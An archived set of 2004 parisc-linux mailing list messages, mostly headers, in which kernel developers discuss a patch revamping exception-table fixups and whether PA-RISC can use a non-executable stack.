	with ESMTP id 02849-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:58:56 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 547D23BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:58:55 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i8CDwKJ26306; Sun, 12 Sep 2004 09:58:20 -0400
In-Reply-To: <20040912134707.GL1854@baldric.uwo.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21970

On Sun, 2004-09-12 at 09:47, Carlos O'Donell wrote:
> I'm looking through the module loading code and worrying about how
> absolute fixups works when a module needs a fixup?

It should work identically to non-module code ... what specifically is
worrying you?

> How are we handling module fixups with absolute fixup addresses?

The same way we do in the regular kernel ... jump to the absolute
address.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sun, 12 Sep 2004 10:29:09 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20040912142908.GM1854@baldric.uwo.ca>
References: <20040911165325.GO28659@tausq.org>
	<20040912134707.GL1854@baldric.uwo.ca>
	<1094997501.1714.4.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623551 11020 80.91.229.3 (22 Nov 2014 02:32:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:31 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25418 invoked by uid 65534); 12 Sep 2004 14:29:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 12 Sep 2004 16:29:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 234283BE14; Sun, 12 Sep 2004 08:29:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03038-05; Sun, 12 Sep 2004 08:29:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3012E3BE15; Sun, 12 Sep 2004 08:29:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA4F03BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 08:29:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02965-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 08:29:13 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 725063BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 08:29:13 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6VLp-0006d9-00; Sun, 12 Sep 2004 10:29:09 -0400
Content-Disposition: inline
In-Reply-To: <1094997501.1714.4.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21971

> > I'm looking through the module loading code and worrying about how
> > absolute fixups works when a module needs a fixup?
> 
> It should work identically to non-module code ... what specifically is
> worrying you?

Are relocations generated against the exception table entries?

> The same way we do in the regular kernel ... jump to the absolute
> address.

If relocations are generated against extable entries then all should be
okay. The address will be fixed by the loader and everything is fine.

That was my only worry, Randolph didn't seem to address testing a failed
copy_from_user through a module extable.

My other question about freeing a flag still stands though.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Non-executable stack?
Date: Sun, 12 Sep 2004 10:35:56 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20040912143555.GN1854@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623551 11022 80.91.229.3 (22 Nov 2014 02:32:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23086 invoked by uid 65534); 12 Sep 2004 14:36:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 12 Sep 2004 16:36:22 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E48473BE14; Sun, 12 Sep 2004 08:36:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03295-06; Sun, 12 Sep 2004 08:36:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A7C9F3BE27; Sun, 12 Sep 2004 08:36:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 439503BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 08:35:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03038-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 08:35:58 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 06D713BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 08:35:58 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6VSO-0006eE-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 10:35:56 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21972


pa,

Can we have a non-executable stack on PA?

Why or why not?

The only thing that currently comes to mind is that we have return paths
from the signal handler as stack code. This is very easy to fix, just
put the code statically on the gateway page and allow the user to jump
through that back into the kernel.

Any other reasons?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sun, 12 Sep 2004 09:47:08 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <20040912134707.GL1854@baldric.uwo.ca>
References: <20040911165325.GO28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623552 11026 80.91.229.3 (22 Nov 2014 02:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:32 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>,
 James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31636 invoked by uid 65534); 12 Sep 2004 13:48:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 12 Sep 2004 15:48:07 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DA9C53BE14; Sun, 12 Sep 2004 07:47:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02537-05; Sun, 12 Sep 2004 07:47:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B1D333BE15; Sun, 12 Sep 2004 07:47:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49CB13BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:47:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02544-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:47:12 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id EC6283BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 07:47:11 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6UhA-0006Wy-00; Sun, 12 Sep 2004 09:47:08 -0400
Content-Disposition: inline
In-Reply-To: <20040911165325.GO28659@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21973

> The patch below, based on my discussions with jejb, changes this
> behaviour so that it more closely matches what happens on other
> architectures (but with a twist...): the exception table entries now
> contain an *absolute* address to branch to for the fixup [1]. The 
> fixups are placed in a separate fixup section (this simplifies a bit of 
> code in unaligned.c too). The fixup code loads up whatever values are 
> required by the caller, and typically branches back to the original 
> code at a correct location to continue.

I'm looking through the module loading code and worrying about how
absolute fixups works when a module needs a fixup?
 
> This frees up the bottom two bits for other purposes -- currently there
> is no way to pass the faulting address and instruction back to an
> exception table handler. The proposal is to reuse the bottom 2 bits to
> indicate whether the faulting address/insn should be passed back to the
> handler in r8/r9. (this will be used by the optimized pa copy routines,
> for example)

I think this is a brilliant proposal. I found the use of r8/r9 a bit
washy and rather useless in the current implementation.

> One downside of this approach is that the extra fixup sections take up
> more space, so the end kernel is bigger. In my test on 64-bit, the
> kernel size increases by ~2%.

What is that converted to bytes?
 
> The patch below has been tested against 2.6.8.1-pa11 on 64-bit-SMP, and
> compile tested on 32-bit-UP. I don't have a 32-bit machine to test on
> atm, so test reports are most welcome [2]. I've applied the manual stubs
> trick that jejb mentioned earlier, but only for 64-bit, since the 32-bit
> linker is able to generate those stubs automatically when needed.
> 
> Comments?

How are we handling module fixups with absolute fixup addresses?

Is there ever a case where you want only the faulting instruction and
not the faulting address aswell? This might be a case for saving a flag,
if you are going to write to r9 you might aswell write two words,
anyway? The code has already locked r8/r9 into variables and gcc won't
do a better job for you.

0x2 = 1 then Write r8/r9 values (slow path)
0x2 = 0 then do nothing (fast path)

Then 0x1 is free to be used for something magical.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: 12 Sep 2004 11:03:32 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <1095001418.1714.7.camel@mulgrave>
References: <20040911165325.GO28659@tausq.org>
	<20040912134707.GL1854@baldric.uwo.ca>
	<1094997501.1714.4.camel@mulgrave> 
	<20040912142908.GM1854@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623552 11027 80.91.229.3 (22 Nov 2014 02:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:32 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28999 invoked by uid 65534); 12 Sep 2004 15:04:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 12 Sep 2004 17:04:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A9EF83BDC9; Sun, 12 Sep 2004 09:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03636-04; Sun, 12 Sep 2004 09:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 631883BE23; Sun, 12 Sep 2004 09:04:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D3E43BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 09:04:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03623-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 09:04:13 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 8298E3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 09:04:12 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i8CF3cJ30169; Sun, 12 Sep 2004 11:03:38 -0400
In-Reply-To: <20040912142908.GM1854@baldric.uwo.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21974

On Sun, 2004-09-12 at 10:29, Carlos O'Donell wrote:
> Are relocations generated against the exception table entries?

Yes.  A module is just a normal .o file with a few extra sections.  It
contains all the relocations a .o file usually contains.

> > The same way we do in the regular kernel ... jump to the absolute
> > address.
> 
> If relocations are generated against extable entries then all should be
> okay. The address will be fixed by the loader and everything is fine.
> 
> That was my only worry, Randolph didn't seem to address testing a failed
> copy_from_user through a module extable.
> 
> My other question about freeing a flag still stands though.

I'll let Randolph answer that ... I find thinks like this are sticky;
once you touch them you can never get them off your hands...

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Non-executable stack?
Date: Sun, 12 Sep 2004 09:10:09 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20040912161009.GQ28659@tausq.org>
References: <20040912143555.GN1854@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623552 11030 80.91.229.3 (22 Nov 2014 02:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3094 invoked by uid 65534); 12 Sep 2004 16:10:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 12 Sep 2004 18:10:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 361873BE14; Sun, 12 Sep 2004 10:10:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04537-10; Sun, 12 Sep 2004 10:10:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C1F393BE23; Sun, 12 Sep 2004 10:10:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92D313BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 10:10:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04537-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 10:10:05 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 56F5F3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 10:10:05 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D723ECD2CB; Sun, 12 Sep 2004 09:10:09 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040912143555.GN1854@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21975

> Can we have a non-executable stack on PA?
> 
> Why or why not?

Do you mean on the architecture? Yes, you can. afaik, hpux has a 
non-executable stack.

> The only thing that currently comes to mind is that we have return paths
> from the signal handler as stack code. This is very easy to fix, just
> put the code statically on the gateway page and allow the user to jump
> through that back into the kernel.

do you mean in general, or just in the kernel? do you really mean only
marking the stack non-executable, or also the heap?

We have various bits of trampolines in a number of applications that 
could potentially live on the stack. libffi comes to mind....  and
probably other code that needs to call between languages.

why do you want to do this?  because of the direction our stack grows,
stack overflow protection is not as useful on pa.... not that you cannot
do stack-smashing attacks on pa, of course...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sun, 12 Sep 2004 09:15:51 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20040912161550.GR28659@tausq.org>
